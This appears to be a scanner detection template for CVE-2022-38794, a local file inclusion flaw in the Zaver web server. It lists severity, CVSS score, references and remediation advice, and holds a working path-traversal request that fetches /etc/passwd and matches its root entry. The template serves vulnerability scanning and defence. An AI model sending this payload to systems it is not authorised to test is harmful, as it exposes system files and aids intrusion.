Zaver - Local File Inclusion

id: CVE-2022-38794

info:
  name: Zaver - Local File Inclusion
  author: pikpikcu
  severity: high
  description: |
    Zaver through 2020-12-15  is vulnerable to local file inclusion via the GET /.. substring.
  impact: |
    This vulnerability can lead to unauthorized access, data leakage, and remote code execution.
  remediation: |
    To remediate this vulnerability, ensure that user input is properly validated and sanitized before being used in file inclusion operations.
  reference:
    - https://github.com/zyearn/zaver/issues/22
    - https://nvd.nist.gov/vuln/detail/CVE-2022-38794
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Henry4E36/POCS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-38794
    cwe-id: CWE-22
    epss-score: 0.00913
    epss-percentile: 0.82805
    cpe: cpe:2.3:a:zaver_project:zaver:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zaver_project
    product: zaver
  tags: cve,cve2022,lfi,zaver,zaver_project

http:
  - method: GET
    path:
      - '{{BaseURL}}/../../../../../../../../etc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
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